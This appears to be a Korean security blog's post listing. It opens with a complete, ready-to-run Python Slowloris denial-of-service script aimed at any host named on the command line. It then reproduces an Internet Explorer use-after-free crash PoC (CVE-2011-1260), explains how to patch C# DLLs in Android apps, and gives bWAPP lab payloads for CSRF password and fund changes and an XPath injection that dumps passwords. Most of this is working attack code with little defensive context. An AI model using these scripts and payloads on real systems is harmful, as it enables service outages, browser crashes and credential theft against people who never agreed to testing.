서버에서 허용된 세션 수를 초과하면 더 이상 접속되지 않는 것을 확인하였다.

 

 

[python]

import socket, random, time, sys

headers = [

    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",

    "Accept-language: en-US,en"

]

 

sockets = []

 

def setupSocket(ip):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sock.settimeout(4)

    sock.connect((ip, 80))

    sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))

 

    for header in headers:

        sock.send("{}\r\n".format(header).encode("utf-8"))

 

    return sock

 

if __name__ == "__main__":

    if len(sys.argv) != 2:

        print("Use it like this: python {} example.com".format(sys.argv[0]))

        sys.exit()

 

    ip = sys.argv[1]

    count = 200

    print("Starting DoS attack on {}. Connecting to {} sockets.".format(ip, count))

 

    for _ in range(count):

        try:

            print("Socket {}".format(_))

            sock = setupSocket(ip)

        except socket.error:

            break

 

        sockets.append(sock)

 

    while True:

        print("Connected to {} sockets. Sending headers...".format(len(sockets)))

 

        for sock in list(sockets):

            try:

                sock.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))

            except socket.error:

                sockets.remove(sock)

 

        for _ in range(count - len(sockets)):

            print("Re-opening closed sockets...")

            try:

                sock = setupSocket(ip)

                if sock:

                    sockets.append(sock)

            except socket.error:

                break

 

        time.sleep(15)

 

[XSS] 익스플로러 취약점을 이용한 클라이언트 공격

[원문보기]

Post-mortem Analysis of a Use-After-Free Vulnerability (CVE-2011-1260)


로 제목이 되어있고, http://www.exploit-monday.com/2011/07/post-mortem-analysis-of-use-after-free_07.html


에 소개되어 있다.


<html>

<body>

<script language='javascript'>

document.body.innerHTML += "<object align='right' hspace='1000'   width='1000'>TAG_1</object>";

document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";

document.body.innerHTML += "AAAAAAA";

document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";

</script>

</body>

</html>


위 코드가 있는 페이지에 접속하면 ie에 오류를 일으킬 수 있고, 영문 XP pro 에서는 다운까지 시킬 수 있다고 한다.



이거 말고도, 쉘 탈취도 있는데, http://vimeo.com/10171900


동영상을 참고할 수 있다.


XSS 가 세션, 쿠키 탈취, CSRF 정도만 되는 줄 알았는데, 쉘탈취 까지 될 줄이야....


8.jpg

[C#] dll 변조

[원문보기]

C#으로 된 dll은 reflector로 decompile 한 코드를 확인하고,


clover.JPG


pang.JPG 


IDA 로 HEX 위치를 확인해,


df.JPG


ULTRA EDIT로 편집해 변조(패치) 가능하다.


720to300.JPG


C# DLL이 포함된 모바일 앱(안드로이드 apk)의 경우 이런 식으로 가공하면, 설치 후 사용할 수 있다..

[bWAPP] CSRF (Change Password)

[원문보기]

A8 - Cross Site Request Forgery

CSRF (Change Password)


패스워드 변경 경로를 삽입하여 타 계정으로 로그인한 사용자의 비밀번호를 변경한다.


이체 경로를 삽입하여 상대방 계좌의 금액을 차감 한다.


A8CSRF-PSWD.PNG


A8CSRF-AMT.PNG

[bWAPP] XML/XPath Injection (Search)

[원문보기]

A1 - injection

XML/XPath Injection (Search)


~/bWAPP/xmli_2.php?genre=action%27)]/password%20|%20//hero[contains(genre,%20%27horror&action=search


genre=action')]/password | //hero[contains(genre,'horror


'|' 를 이용해 앞 단에 password 노드를 출력하도록 입력하고 뒤에는 오류가 나지 않도록 완성시킨다.


A1-XPATH-SRC.PNG

첨부 (1)
A1-XPATH-SRC.PNG
94.4KB / Download 46
위로